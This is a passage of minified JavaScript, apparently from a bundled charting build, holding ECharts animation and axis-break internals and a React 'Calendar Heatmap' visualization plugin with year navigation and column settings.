i&&i.categories[a]||a+``}}function k4(e,t,n,r){var i=D4(e,r?`itemChildGroupId`:`itemGroupId`);if(i)return O4(e,t,i);var a=e.getRawDataItem(t),o=r?`childGroupId`:`groupId`;if(a&&a[o])return a[o]+``;if(!r)return n||e.getId(t)}function A4(e){var t=[];return L(e,function(e){var n=e.data,r=e.dataGroupId;if(!(n.count()>S4))for(var i=n.getIndices(),a=0;a<i.length;a++)t.push({data:n,groupId:k4(n,a,r,!1),childGroupId:k4(n,a,r,!0),divide:e.divide,dataIndex:a})}),t}function j4(e,t,n){e.traverse(function(e){e instanceof Cu&&Rp(e,{style:{opacity:0}},t,{dataIndex:n,isFrom:!0})})}function M4(e){if(e.parent){var t=e.getComputedTransform();e.setLocalTransform(t),e.parent.remove(e)}}function N4(e){e.stopAnimation(),e.isGroup&&e.traverse(function(e){e.stopAnimation()})}function P4(e,t,n){var r=Fp(`update`,n,t);r&&e.traverse(function(e){if(e instanceof hl){var t=Wp(e);t&&e.animateFrom({style:t},r)}})}function F4(e,t){var n=e.length;if(n!==t.length)return!1;for(var r=0;r<n;r++){var i=e[r],a=t[r];if(i.data.getId(i.dataIndex)!==a.data.getId(a.dataIndex))return!1}return!0}function I4(e,t,n){var r=A4(e),i=A4(t);function a(e,t,n,r,i){(n||e)&&t.animateFrom({style:n&&n!==e?F(F({},n.style),e.style):e.style},i)}var o=!1,s=C4,c=G(),l=G();r.forEach(function(e){e.groupId&&c.set(e.groupId,!0),e.childGroupId&&l.set(e.childGroupId,!0)});for(var u=0;u<i.length;u++){var d=i[u].groupId;if(l.get(d)){s=w4;break}var f=i[u].childGroupId;if(f&&c.get(f)){s=T4;break}}function p(e,t){return function(n){var r=n.data,i=n.dataIndex;return t?r.getId(i):e?s===w4?n.childGroupId:n.groupId:s===T4?n.childGroupId:n.groupId}}var m=F4(r,i),h={};if(!m)for(var u=0;u<i.length;u++){var g=i[u],_=g.data.getItemGraphicEl(g.dataIndex);_&&(h[_.id]=!0)}function v(e,t){var n=r[t],s=i[e],c=s.data.hostModel,l=n.data.getItemGraphicEl(n.dataIndex),u=s.data.getItemGraphicEl(s.dataIndex);if(l===u){u&&P4(u,s.dataIndex,c);return}l&&h[l.id]||u&&(N4(u),l?(N4(l),M4(l),o=!0,b4(x4(l),x4(u),s.divide,c,e,a)):j4(u,c,e))}new Cw(r,i,p(!0,m),p(!1,m),null,`multiple`).update(v).updateManyToOne(function(e,t){var n=i[e],s=n.data,c=s.hostModel,l=s.getItemGraphicEl(n.dataIndex),u=lt(R(t,function(e){return r[e].data.getItemGraphicEl(r[e].dataIndex)}),function(e){return e&&e!==l&&!h[e.id]});l&&(N4(l),u.length?(L(u,function(e){N4(e),M4(e)}),o=!0,b4(x4(u),x4(l),n.divide,c,e,a)):j4(l,c,n.dataIndex))}).updateOneToMany(function(e,t){var n=r[t],s=n.data.getItemGraphicEl(n.dataIndex);if(!(s&&h[s.id])){var c=lt(R(e,function(e){return i[e].data.getItemGraphicEl(i[e].dataIndex)}),function(e){return e&&e!==s}),l=i[e[0]].data.hostModel;c.length&&(L(c,function(e){return N4(e)}),s?(N4(s),M4(s),o=!0,b4(x4(s),x4(c),n.divide,l,e[0],a)):L(c,function(t){return j4(t,l,e[0])}))}}).updateManyToMany(function(e,t){new Cw(t,e,function(e){return r[e].data.getId(r[e].dataIndex)},function(e){return i[e].data.getId(i[e].dataIndex)}).update(function(n,r){v(e[n],t[r])}).execute()}).execute(),o&&L(t,function(e){var t=e.data.hostModel,r=t&&n.getViewOfSeriesModel(t),i=Fp(`update`,t,0);r&&t.isAnimationEnabled()&&i&&i.duration>0&&r.group.traverse(function(e){e instanceof Cu&&!e.animators.length&&e.animateFrom({style:{opacity:0}},i)})})}function L4(e){return e.getModel(`universalTransition`).get(`seriesKey`)||e.id}function R4(e){return B(e)?e.sort().join(`,`):e}function z4(e){if(e.hostModel)return e.hostModel.getModel(`universalTransition`).get(`divideShape`)}function B4(e,t){var n=G(),r=G(),i=G();return L(e.oldSeries,function(t,n){var a=e.oldDataGroupIds[n],o=e.oldData[n],s=L4(t),c=R4(s);r.set(c,{dataGroupId:a,data:o}),B(s)&&L(s,function(e){i.set(e,{key:c,dataGroupId:a,data:o})})}),L(t.updatedSeries,function(e){if(e.isUniversalTransitionEnabled()&&e.isAnimationEnabled()){var t=e.get(`dataGroupId`),a=e.getData(),o=L4(e),s=R4(o),c=r.get(s);if(c)n.set(s,{oldSeries:[{dataGroupId:c.dataGroupId,divide:z4(c.data),data:c.data}],newSeries:[{dataGroupId:t,divide:z4(a),data:a}]});else if(B(o)){var l=[];L(o,function(e){var t=r.get(e);t.data&&l.push({dataGroupId:t.dataGroupId,divide:z4(t.data),data:t.data})}),l.length&&n.set(s,{oldSeries:l,newSeries:[{dataGroupId:t,data:a,divide:z4(a)}]})}else{var u=i.get(o);if(u){var d=n.get(u.key);d||(d={oldSeries:[{dataGroupId:u.dataGroupId,data:u.data,divide:z4(u.data)}],newSeries:[]},n.set(u.key,d)),d.newSeries.push({dataGroupId:t,data:a,divide:z4(a)})}}}}),n}function V4(e,t){for(var n=0;n<e.length;n++)if(t.seriesIndex!=null&&t.seriesIndex===e[n].seriesIndex||t.seriesId!=null&&t.seriesId===e[n].id)return n}function H4(e,t,n,r){var i=[],a=[];L(Rs(e.from),function(e){var n=V4(t.oldSeries,e);n>=0&&i.push({dataGroupId:t.oldDataGroupIds[n],data:t.oldData[n],divide:z4(t.oldData[n]),groupIdDim:e.dimension})}),L(Rs(e.to),function(e){var r=V4(n.updatedSeries,e);if(r>=0){var i=n.updatedSeries[r].getData();a.push({dataGroupId:t.oldDataGroupIds[r],data:i,divide:z4(i),groupIdDim:e.dimension})}}),i.length>0&&a.length>0&&I4(i,a,r)}function U4(e){e.registerUpdateLifecycle(`series:beforeupdate`,function(e,t,n){L(Rs(n.seriesTransition),function(e){L(Rs(e.to),function(e){for(var t=n.updatedSeries,r=0;r<t.length;r++)(e.seriesIndex!=null&&e.seriesIndex===t[r].seriesIndex||e.seriesId!=null&&e.seriesId===t[r].id)&&(t[r][gb]=!0)})})}),e.registerUpdateLifecycle(`series:transition`,function(e,t,n){var r=E4(t);if(r.oldSeries&&n.updatedSeries&&n.optionChanged){var i=n.seriesTransition;if(i)L(Rs(i),function(e){H4(e,r,n,t)});else{var a=B4(r,n);L(a.keys(),function(e){var n=a.get(e);I4(n.oldSeries,n.newSeries,t)})}L(n.updatedSeries,function(e){e.__universalTransitionEnabled&&(e[gb]=!1)})}for(var o=e.getSeries(),s=r.oldSeries=[],c=r.oldDataGroupIds=[],l=r.oldData=[],u=0;u<o.length;u++){var d=o[u].getData();d.count()<S4&&(s.push(o[u]),c.push(o[u].get(`dataGroupId`)),l.push(d))}})}var W4=function(){function e(){this.breaks=[],this._elapsedExtent=[1/0,-1/0]}return e.prototype.setBreaks=function(e){this.breaks=e.breaks},e.prototype.update=function(e){J4(this,e);var t=this._elapsedExtent;t[0]=this.elapse(e[0]),t[1]=this.elapse(e[1])},e.prototype.hasBreaks=function(){return!!this.breaks.length},e.prototype.calcNiceTickMultiple=function(e,t){for(var n=0;n<this.breaks.length;n++){var r=this.breaks[n];if(r.vmin<e&&e<r.vmax)return t(e,r.vmax)}return 0},e.prototype.getExtentSpan=function(){return this._elapsedExtent[1]-this._elapsedExtent[0]},e.prototype.normalize=function(e){var t=this._elapsedExtent[1]-this._elapsedExtent[0];return t===0?.5:(this.elapse(e)-this._elapsedExtent[0])/t},e.prototype.scale=function(e){return this.unelapse(e*(this._elapsedExtent[1]-this._elapsedExtent[0])+this._elapsedExtent[0])},e.prototype.elapse=function(e){for(var t=K4,n=q4,r=!0,i=0;i<this.breaks.length;i++){var a=this.breaks[i];if(e<=a.vmax){e>a.vmin?t+=a.vmin-n+(e-a.vmin)/(a.vmax-a.vmin)*a.gapReal:t+=e-n,n=a.vmax,r=!1;break}t+=a.vmin-n+a.gapReal,n=a.vmax}return r&&(t+=e-n),t},e.prototype.unelapse=function(e){for(var t=K4,n=q4,r=!0,i=0,a=0;a<this.breaks.length;a++){var o=this.breaks[a],s=t+o.vmin-n,c=s+o.gapReal;if(e<=c){i=e>s?o.vmin+(e-s)/(c-s)*(o.vmax-o.vmin):n+e-t,n=o.vmax,r=!1;break}t=c,n=o.vmax}return r&&(i=n+e-t),i},e}();function G4(){return new W4}var K4=0,q4=0;function J4(e,t){var n=0,r={tpAbs:{span:0,val:0},tpPrct:{span:0,val:0}},i=function(){return{has:!1,span:NaN,inExtFrac:NaN,val:NaN}},a={S:{tpAbs:i(),tpPrct:i()},E:{tpAbs:i(),tpPrct:i()}};L(e.breaks,function(e){var i=e.gapParsed;i.type===`tpPrct`&&(n+=i.val);var o=Z4(e,t);if(o){var s=o.vmin!==e.vmin,c=o.vmax!==e.vmax,l=o.vmax-o.vmin;if(!(s&&c))if(s||c){var u=s?`S`:`E`;a[u][i.type].has=!0,a[u][i.type].span=l,a[u][i.type].inExtFrac=l/(e.vmax-e.vmin),a[u][i.type].val=i.val}else r[i.type].span+=l,r[i.type].val+=i.val}});var o=n*(0+(t[1]-t[0])+(r.tpAbs.val-r.tpAbs.span)+(a.S.tpAbs.has?(a.S.tpAbs.val-a.S.tpAbs.span)*a.S.tpAbs.inExtFrac:0)+(a.E.tpAbs.has?(a.E.tpAbs.val-a.E.tpAbs.span)*a.E.tpAbs.inExtFrac:0)-r.tpPrct.span-(a.S.tpPrct.has?a.S.tpPrct.span*a.S.tpPrct.inExtFrac:0)-(a.E.tpPrct.has?a.E.tpPrct.span*a.E.tpPrct.inExtFrac:0))/(1-r.tpPrct.val-(a.S.tpPrct.has?a.S.tpPrct.val*a.S.tpPrct.inExtFrac:0)-(a.E.tpPrct.has?a.E.tpPrct.val*a.E.tpPrct.inExtFrac:0));L(e.breaks,function(e){var t=e.gapParsed;t.type===`tpPrct`&&(e.gapReal=n===0?0:Math.max(o,0)*t.val/n),t.type===`tpAbs`&&(e.gapReal=t.val),e.gapReal??=0})}function Y4(e,t,n,r,i,a){e!==`no`&&L(n,function(n){var o=Z4(n,a);if(o)for(var s=t.length-1;s>=0;s--){var c=t[s],l=r(c),u=i*3/4;l>o.vmin-u&&l<o.vmax+u&&(e!==`preserve_extent_bound`||l!==a[0]&&l!==a[1])&&t.splice(s,1)}})}function X4(e,t,n,r){L(t,function(t){var i=Z4(t,n);i&&(e.push({value:i.vmin,break:{type:`vmin`,parsedBreak:i},time:r?r(i):void 0}),e.push({value:i.vmax,break:{type:`vmax`,parsedBreak:i},time:r?r(i):void 0}))}),t.length&&e.sort(function(e,t){return e.value-t.value})}function Z4(e,t){var n=Math.max(e.vmin,t[0]),r=Math.min(e.vmax,t[1]);return n<r||n===r&&n>t[0]&&n<t[1]?{vmin:n,vmax:r,breakOption:e.breakOption,gapParsed:e.gapParsed,gapReal:e.gapReal}:null}function Q4(e,t,n){var r=[];if(!e)return{breaks:r};function i(e,t){return e>=0&&e<.99999}L(e,function(e){if(!(!e||e.start==null||e.end==null)&&!e.isExpanded){var a={breakOption:P(e),vmin:t(e.start),vmax:t(e.end),gapParsed:{type:`tpAbs`,val:0},gapReal:null};if(e.gap!=null){var o=!1;if(H(e.gap)){var s=Ot(e.gap);if(s.match(/%$/)){var c=parseFloat(s)/100;i(c,`Percent gap`)||(c=0),a.gapParsed.type=`tpPrct`,a.gapParsed.val=c,o=!0}}if(!o){var l=t(e.gap);(!isFinite(l)||l<0)&&(l=0),a.gapParsed.type=`tpAbs`,a.gapParsed.val=l}}if(a.vmin===a.vmax&&(a.gapParsed.type=`tpAbs`,a.gapParsed.val=0),n&&n.noNegative&&L([`vmin`,`vmax`],function(e){a[e]<0&&(a[e]=0)}),a.vmin>a.vmax){var u=a.vmax;a.vmax=a.vmin,a.vmin=u}r.push(a)}}),r.sort(function(e,t){return e.vmin-t.vmin});var a=-1/0;return L(r,function(e,t){a>e.vmin&&(r[t]=null),a=e.vmax}),{breaks:r.filter(function(e){return!!e})}}function $4(e,t){return e3(t)===e3(e)}function e3(e){return e.start+`_\0_`+e.end}function t3(e,t,n){var r=[];L(e,function(e,n){var i=t(e);i&&i.type===`vmin`&&r.push([n])}),L(e,function(n,i){var a=t(n);if(a&&a.type===`vmax`){var o=ut(r,function(n){return $4(t(e[n[0]]).parsedBreak.breakOption,a.parsedBreak.breakOption)});o&&o.push(i)}});var i=[];return L(r,function(t){t.length===2&&i.push(n?t:[e[t[0]],e[t[1]]])}),i}function n3(e,t,n,r){var i,a;if(e.break){var o=e.break.parsedBreak,s=ut(n,function(t){return $4(t.breakOption,e.break.parsedBreak.breakOption)}),c=r(t**+o.vmin,s.vmin),l=r(t**+o.vmax,s.vmax),u={type:o.gapParsed.type,val:o.gapParsed.type===`tpAbs`?cs(t**+(o.vmin+o.gapParsed.val))-c:o.gapParsed.val};i={type:e.break.type,parsedBreak:{breakOption:o.breakOption,vmin:c,vmax:l,gapParsed:u,gapReal:o.gapReal}},a=s[e.break.type]}return{brkRoundingCriterion:a,vBreak:i}}function r3(e,t,n){var r={noNegative:!0},i=Q4(e,n,r),a=Q4(e,n,r),o=Math.log(t);return a.breaks=R(a.breaks,function(e){var t=Math.log(e.vmin)/o;return{vmin:t,vmax:Math.log(e.vmax)/o,gapParsed:{type:e.gapParsed.type,val:e.gapParsed.type===`tpAbs`?Math.log(e.vmin+e.gapParsed.val)/o-t:e.gapParsed.val},gapReal:e.gapReal,breakOption:e.breakOption}}),{parsedOriginal:i,parsedLogged:a}}var i3={vmin:`start`,vmax:`end`};function a3(e,t){return t&&(e||={},e.break={type:i3[t.type],start:t.parsedBreak.vmin,end:t.parsedBreak.vmax}),e}function o3(){Oh({createScaleBreakContext:G4,pruneTicksByBreak:Y4,addBreaksToTicks:X4,parseAxisBreakOption:Q4,identifyAxisBreak:$4,serializeAxisBreakIdentifier:e3,retrieveAxisBreakPairs:t3,getTicksLogTransformBreak:n3,logarithmicParseBreaksFromOption:r3,makeAxisLabelFormatterParamBreak:a3})}var s3=oc();function c3(e,t){var n=ut(e,function(e){return kh().identifyAxisBreak(e.parsedBreak.breakOption,t.breakOption)});return n||e.push(n={zigzagRandomList:[],parsedBreak:t,shouldRemove:!1}),n}function l3(e){L(e,function(e){return e.shouldRemove=!0})}function u3(e){for(var t=e.length-1;t>=0;t--)e[t].shouldRemove&&e.splice(t,1)}function d3(e,t,n,r,i){var a=n.axis;if(a.scale.isBlank()||!kh())return;var o=kh().retrieveAxisBreakPairs(a.scale.getTicks({breakTicks:`only_break`}),function(e){return e.break},!1);if(!o.length)return;var s=n.getModel(`breakArea`),c=s.get(`zigzagAmplitude`),l=s.get(`zigzagMinSpan`),u=s.get(`zigzagMaxSpan`);l=Math.max(2,l||0),u=Math.max(l,u||0);var d=s.get(`expandOnClick`),f=s.get(`zigzagZ`),p=s.getModel(`itemStyle`).getItemStyle(),m=p.stroke,h=p.lineWidth,g=p.lineDash,_=p.fill,v=new Y({ignoreModelZ:!0}),y=a.isHorizontal(),b=s3(t).visualList||(s3(t).visualList=[]);l3(b);for(var x=function(e){var t=o[e][0].break.parsedBreak,r=[];r[0]=a.toGlobalCoord(a.dataToCoord(t.vmin,!0)),r[1]=a.toGlobalCoord(a.dataToCoord(t.vmax,!0)),r[1]<r[0]&&r.reverse();var s=c3(b,t);s.shouldRemove=!1;var c=new Y;C(s.zigzagRandomList,c,r[0],r[1],y,t),d&&c.on(`click`,function(){var e={type:NM,breaks:[{start:t.breakOption.start,end:t.breakOption.end}]};e[a.dim+`AxisIndex`]=n.componentIndex,i.dispatchAction(e)}),c.silent=!d,v.add(c)},S=0;S<o.length;S++)x(S);e.add(v),u3(b);function C(e,t,n,i,a,o){var s={stroke:m,lineWidth:h,lineDash:g,fill:`none`},d=+!a,v=1-d,y=r[qp[v]]+r[Jp[v]];function b(e){var t=[],n=[];t[d]=n[d]=e,t[v]=r[qp[v]],n[v]=y;var i={x1:t[0],y1:t[1],x2:n[0],y2:n[1]};return Mu(i,i,{lineWidth:1}),t[0]=i.x1,t[1]=i.y1,t[d]}n=b(n),i=b(i);for(var x=[],S=[],C=!0,w=r[qp[v]],T=0;;T++){var E=w===r[qp[v]],D=w>=y;D&&(w=y);var O=[],k=[];O[d]=n,k[d]=i,!E&&!D&&(O[d]+=C?-c:c,k[d]-=C?c:-c),O[v]=w,k[v]=w,x.push(O),S.push(k);var A=void 0;if(T<e.length?A=e[T]:(A=Math.random(),e.push(A)),w+=A*(u-l)+l,C=!C,D)break}var j=kh().serializeAxisBreakIdentifier(o.breakOption);if(t.add(new lp({anid:`break_a_`+j,shape:{points:x},style:s,z:f})),o.gapReal!==0){t.add(new lp({anid:`break_b_`+j,shape:{points:S},style:s,z:f}));var ee=S.slice();ee.reverse();var te=x.concat(ee);t.add(new sp({anid:`break_c_`+j,shape:{points:te},style:{fill:_,opacity:p.opacity},z:f}))}}}function f3(e,t,n,r){var i=e.axis,a=n.transform;Dt(r.style);var o=i.getExtent();i.inverse&&(o=o.slice(),o.reverse());var s=R(kh().retrieveAxisBreakPairs(i.scale.getTicks({breakTicks:`only_break`}),function(e){return e.break},!1),function(e){var t=e[0].break.parsedBreak,n=[i.dataToCoord(t.vmin,!0),i.dataToCoord(t.vmax,!0)];return n[0]>n[1]&&n.reverse(),{coordPair:n,brkId:kh().serializeAxisBreakIdentifier(t.breakOption)}});s.sort(function(e,t){return e.coordPair[0]-t.coordPair[0]});for(var c=o[0],l=null,u=0;u<s.length;u++){var d=s[u],f=Math.max(d.coordPair[0],o[0]),p=Math.min(d.coordPair[1],o[1]);c<=f&&m(c,f,l,d),c=p,l=d}c<=o[1]&&m(c,o[1],l,null);function m(e,n,i,o){function s(e,t){a&&(rn(e,e,a),rn(t,t,a))}function c(e,t){var n={x1:e[0],y1:e[1],x2:t[0],y2:t[1]};Mu(n,n,r.style),e[0]=n.x1,e[1]=n.y1,t[0]=n.x2,t[1]=n.y2}var l=[e,0],u=[n,0],d=[e,5],f=[n,5];s(l,d),c(l,d),s(u,f),c(u,f),c(l,u);var p=new fp(F({shape:{x1:l[0],y1:l[1],x2:u[0],y2:u[1]}},r));t.add(p),p.anid=`breakLine_`+(i?i.brkId:`\0`)+`_\0_`+(o?o.brkId:`\0`)}}function p3(e,t,n){if(ut(n,function(e){return!e}))return;var r=new q;if(!dO(n[0],n[1],r,{direction:-(e?t+Math.PI:t),touchThreshold:0,bidirectional:!1}))return;var i=Bn();Gn(i,i,-t);var a=R(n,function(e){return e.transform?Un(Bn(),i,e.transform):i});function o(e){var t=n[0].localRect,r=new q(t[Jp[e]]*a[0][0],t[Jp[e]]*a[0][1]);return Math.abs(r.y)<1e-5}var s=.5;if(o(0)||o(1)){var c=R(n,function(e,t){var n=e.localRect.clone();return n.applyTransform(a[t]),n}),l=new q;l.copy(n[0].label).add(n[1].label).scale(.5),l.transform(i);var u=r.clone().transform(i),d=(c[0].x+c[1].x+(u.x>=0?c[0].width:c[1].width)+u.x)/2-l.x,f=Math.min(d,d-u.x),p=Math.max(d,d-u.x);s=(d-(p<0?p:f>0?f:0))/u.x}var m=new q,h=new q;q.scale(m,r,-s),q.scale(h,r,1-s),aO(n[0],m),aO(n[1],h)}function m3(e,t){var n={breaks:[]};return L(t.breaks,function(r){if(r){var i=ut(e.get(`breaks`,!0),function(e){return kh().identifyAxisBreak(e,r)});if(i){var a=t.type,o={isExpanded:!!i.isExpanded};i.isExpanded=a===`expandAxisBreak`?!0:a===`collapseAxisBreak`?!1:a===`toggleAxisBreak`?!i.isExpanded:i.isExpanded,n.breaks.push({start:i.start,end:i.end,isExpanded:!!i.isExpanded,old:o})}}}),n}function h3(){wM({adjustBreakLabelPair:p3,buildAxisBreakLine:f3,rectCoordBuildBreakAxis:d3,updateModelAxisBreak:m3})}function g3(e){VM(e),o3(),h3()}function _3(){IN(v3)}function v3(e,t){L(e,function(e){if(!e.model.get([`axisLabel`,`inside`])){var n=y3(e);if(n){var r=e.isHorizontal()?`height`:`width`,i=e.model.get([`axisLabel`,`margin`]);t[r]-=n[r]+i,e.position===`top`?t.y+=n.height+i:e.position===`left`&&(t.x+=n.width+i)}}})}function y3(e){var t=e.model,n=e.scale;if(!t.get([`axisLabel`,`show`])||n.isBlank())return;var r,i,a=n.getExtent();n instanceof AT?i=n.count():(r=n.getTicks(),i=r.length);var o=e.getLabelModel(),s=TE(e),c,l=1;i>40&&(l=Math.ceil(i/40));for(var u=0;u<i;u+=l){var d=s(r?r[u]:{value:a[0]+u},u),f=p(o.getTextRect(d),o.get(`rotate`)||0);c?c.union(f):c=f}return c;function p(e,t){var n=t*Math.PI/180,r=e.width,i=e.height,a=r*Math.abs(Math.cos(n))+Math.abs(i*Math.sin(n)),o=r*Math.abs(Math.sin(n))+Math.abs(i*Math.cos(n));return new J(e.x,e.y,a,o)}}bw([uA]),bw([eA]),bw([aj,zj,sM,yP,PP,AI,CL,qR,cB,vB,TB,NB,EH,nU,vU,WU,YU,uW,vW,KW,eG,gG,GK]),bw(zq),bw(xJ),bw(kI),bw(BJ),bw(TH),bw(qJ),bw(nX),bw(bX),bw(UZ),bw(xQ),bw(Rq),bw(ZQ),bw(e$),bw(v$),bw(V$),bw(Z$),bw(c1),bw(P1),bw(u0),bw(Y1),bw(l0),bw($0),bw(q0),bw(Q0),bw(a2),bw(d2),bw(O2),bw(j2),bw(U4),bw(SO),bw(g3),bw(_3),bw(bP);var b3={default:{background:`#ffffff`,border:`1px solid #e5e7eb`,color:`#374151`,cursor:`pointer`},hover:{background:`#f9fafb`,border:`1px solid #d1d5db`,color:`#111827`,cursor:`pointer`},active:{background:`#f3f4f6`,border:`1px solid #9ca3af`,cursor:`pointer`},disabled:{background:`#ffffff`,border:`1px solid #e5e7eb`,color:`#9ca3af`,cursor:`default`}},x3={default:{background:`#21262d`,border:`1px solid #30363d`,color:`#c9d1d9`,cursor:`pointer`},hover:{background:`#30363d`,border:`1px solid #8b949e`,color:`#e6edf3`,cursor:`pointer`},active:{background:`#3d444d`,border:`1px solid #8b949e`,cursor:`pointer`},disabled:{background:`#21262d`,border:`1px solid #30363d`,color:`#484f58`,cursor:`default`}};function S3({children:e,colorScheme:t,disabled:n,onClick:r}){let[i,a]=(0,f.useState)(!1),[o,s]=(0,f.useState)(!1);return(0,m.jsx)(`button`,{disabled:n,type:`button`,style:{pointerEvents:`all`,borderRadius:8,fontWeight:600,fontSize:12,padding:`4px 10px`,transition:`background-color 0.15s ease, border-color 0.15s ease, color 0.15s ease`,...(()=>{let e=t?.toLowerCase()===`dark`?x3:b3;return n?e.disabled:o?e.active:i?e.hover:e.default})()},onClick:r,onMouseEnter:()=>a(!0),onMouseLeave:()=>{a(!1),s(!1)},onMouseDown:()=>!n&&s(!0),onMouseUp:()=>s(!1),children:e})}function C3(e){let t=(0,f.useRef)(e);return t.current=e,t}function w3(e,t){let[{data:n}]=e,r=n.cols.findIndex(e=>e.name===t.dimension),i=n.cols.findIndex(e=>e.name===t.metric);if(r===-1||i===-1)throw Error(`There is no valid columns to render a chart`);let a=n.rows.map(e=>[String(e[r]),Number(e[i])]),o=T3(a.map(([e])=>e));return{data:a,years:o,latestYear:o.length?o[o.length-1]:new Date().getFullYear(),dimensionCol:n.cols[r],metricCol:n.cols[i]}}function T3(e){let t=new Set;return e.forEach(e=>{let n=new Date(e);isNaN(n.getTime())||t.add(n.getFullYear())}),Array.from(t).sort((e,t)=>e-t)}function E3(e,t){let{data:n}=w3(e,t),r=n.map(([e])=>D3(e)),i=new Set;for(let e of r){if(i.has(e))return!0;i.add(e)}return!1}function D3(e){return new Date(e).toLocaleDateString(`en-CA`)}function O3(e){let t=[],n=new Date(e,0,1),r=new Date(e,11,31);for(let e=new Date(n);e<=r;e.setDate(e.getDate()+1))t.push(D3(e));return t}function k3(e,t){return v(e,{column:{...t,unit:`month-of-year`},date_abbreviate:!0})}function A3(e,t){return v(e,{column:{...t,unit:`day-of-week`},date_abbreviate:!0})}function j3(e){let t=new Date(2024,0,7);return Array.from({length:7},(n,r)=>{let i=new Date(t);return i.setDate(t.getDate()+r),A3(i,e)})}function M3(e){return Math.max(1,Math.floor((e-12)/3))}function N3(e,t){return e===`square`?0:e===`circle`?Math.floor(t/2):M3(t)}function P3(e){return Math.max(12,Math.min(30,Math.floor((e-30-20)/53)))}function F3(e){return 50+53*e}function I3(e){return 42+7*e+8+30}var L3=(e,t,n,r,i,a,o,s)=>{let c=Ae(n),l=r===`dark`,u=l?Se:xe,d=e.filter(([e])=>{let n=new Date(e);return!isNaN(n.getTime())&&n.getFullYear()===t}),f=d.map(([e,t])=>t),p=new Map(d.map(([e,t])=>[D3(e),t])),m=O3(t),h=m.filter(e=>p.has(e)).map(e=>[e,p.get(e)]),g=m.filter(e=>!p.has(e)).map(e=>[e,0]),_=f.length?Math.min(...f):0,y=f.length?Math.max(...f):100,b=N3(a,i);return{backgroundColor:`transparent`,tooltip:{show:!1},visualMap:{min:_,max:y,type:`piecewise`,orient:`horizontal`,top:24+7*i+8,left:`center`,bottom:null,itemSymbol:`circle`,seriesIndex:1,inRange:{color:c},pieces:[{min:0,max:0,color:c.empty},{gt:0,lte:y*.25,color:c.low},{gt:y*.25,lte:y*.5,color:c[`medium-low`]},{gt:y*.5,lte:y*.75,color:c[`medium-high`]},{gt:y*.75,color:c.high}],showLabel:!1,formatter:e=>v(e,{column:s}),text:[`More`,`Less`],itemWidth:10,itemHeight:10,itemGap:5},calendar:{top:24,left:50,bottom:null,cellSize:[i,i],range:t,itemStyle:{color:`transparent`,borderWidth:4,borderColor:`transparent`,borderRadius:b},splitLine:{show:!1},yearLabel:{show:!1},dayLabel:{show:!0,silent:!0,firstDay:0,color:u,fontSize:11,nameMap:j3(o)},monthLabel:{silent:!0,color:u,fontSize:11,formatter:e=>k3(new Date(parseInt(e.yyyy),e.M),o)}},series:[{type:`heatmap`,coordinateSystem:`calendar`,data:g,silent:!0,itemStyle:{color:l?Te:we,borderRadius:b}},{type:`heatmap`,coordinateSystem:`calendar`,data:h,itemStyle:{borderRadius:b}}]}};function R3({height:e,width:t,settings:n,series:r,onClick:i,onHover:a,colorScheme:o}){let s=(0,f.useRef)(null),c=(0,f.useRef)(null),l=C3(i),u=C3(a),d=C3(r),p=C3(n),[h,g]=(0,f.useState)(null),{data:_,years:v,latestYear:y,dimensionCol:b,metricCol:x}=w3(r,n);(0,f.useEffect)(()=>{g(y)},[y]),(0,f.useEffect)(()=>{if(!s.current)return;let e=ew(s.current);return c.current=e,S(e),e.on(`click`,e=>{if(typeof l.current!=`function`)return;if(e.seriesIndex===0){l.current(null);return}let[t,n]=e.data,r=d.current[0].data.cols,i=d.current[0].data.rows,a=r.findIndex(e=>e.name===p.current.dimension),o=r.findIndex(e=>e.name===p.current.metric),s=r[a],c=r[o],u=D3(t),f=i.find(e=>D3(String(e[a]))===u),m={value:n,column:c,dimensions:s?[{value:t,column:s}]:[],event:e.event?.event,origin:f?{row:f,cols:r}:void 0,settings:p.current};l.current(m)}),()=>{e.dispose(),c.current=null}},[o]);let S=e=>{e.on(`mouseover`,t=>{if(typeof u.current!=`function`||t.seriesIndex===0)return;let[n,r]=t.data,i=d.current[0].data.cols,a=i.findIndex(({name:e})=>e===p.current.dimension),o=i.findIndex(({name:e})=>e===p.current.metric),s=i[a],c=i[o],l=e.convertToPixel(`calendar`,[n]),f=e.getDom().getBoundingClientRect();u.current({value:r,column:c,dimensions:[{value:n,column:s}],data:[{key:s.display_name,col:s,value:n},{key:c.display_name,col:c,value:r}],event:new MouseEvent(`mouseover`,{clientX:f.left+l[0],clientY:f.top+l[1]})})}),e.on(`mouseout`,()=>u.current?.(null))},C=h??y,w=v.indexOf(C),T=w>0,E=w<v.length-1,D=n.color??`#85b8e8`,O=n.cellShape,k=t?P3(t):0,A=(0,f.useMemo)(()=>L3(_,C,D,o,k,O,b,x),[_,C,D,o,k,O,b,x]);(0,f.useEffect)(()=>{c.current?.setOption(A,!0)},[A]),(0,f.useEffect)(()=>{c.current?.resize()},[t,e]);let j=F3(k);return(0,m.jsx)(`div`,{style:{position:`relative`,display:`flex`,flexDirection:`column`,alignItems:`center`,height:`100%`,justifyContent:`center`},children:(0,m.jsxs)(`div`,{style:{overflowX:`auto`,width:`100%`,display:`flex`,flexDirection:`column`,alignItems:`center`},children:[(0,m.jsxs)(`div`,{style:{display:`flex`,justifyContent:`center`,alignItems:`center`,gap:16,marginBottom:10,marginTop:10,width:j},children:[(0,m.jsx)(S3,{onClick:()=>g(v[w-1]),disabled:!T,colorScheme:o,children:`Previous`}),(0,m.jsx)(`span`,{style:{fontSize:16,fontWeight:500},children:C}),(0,m.jsx)(S3,{onClick:()=>g(v[w+1]),disabled:!E,colorScheme:o,children:`Next`})]}),(0,m.jsx)(`div`,{ref:s,style:{width:j,height:I3(k)}})]})})}function z3(e){return g(e)}function B3(e){return!z3(e)&&_(e)}function V3(e){return e.find(z3)?.name}function H3(e){return e.find(B3)?.name}return({defineSetting:e})=>S({id:`calendar-heatmap`,getName:()=>`Calendar Heatmap`,minSize:{width:8,height:3},defaultSize:{width:20,height:6},checkRenderable(e,t){if(e.length===0)throw Error(`No series provided`);let n=e[0]?.data?.cols??[],r=t.dimension??V3(n),i=t.metric??H3(n),a=n.find(e=>e.name===r&&z3(e)),o=n.find(e=>e.name===i&&B3(e));if(!a)throw Error(`Please select a date column for the dimension.`);if(!o)throw Error(`Please select a numeric column for the metric.`);if(E3(e,{...t,dimension:r,metric:i}))throw Error(`Data is unbinned: multiple entries with the same date. Please aggregate date column by day.`)},settings:{dimension:e({id:`dimension`,section:`Data`,title:`Date column`,widget:`field`,getDefault:e=>V3(e?.[0]?.data?.cols??[]),getProps:e=>{let 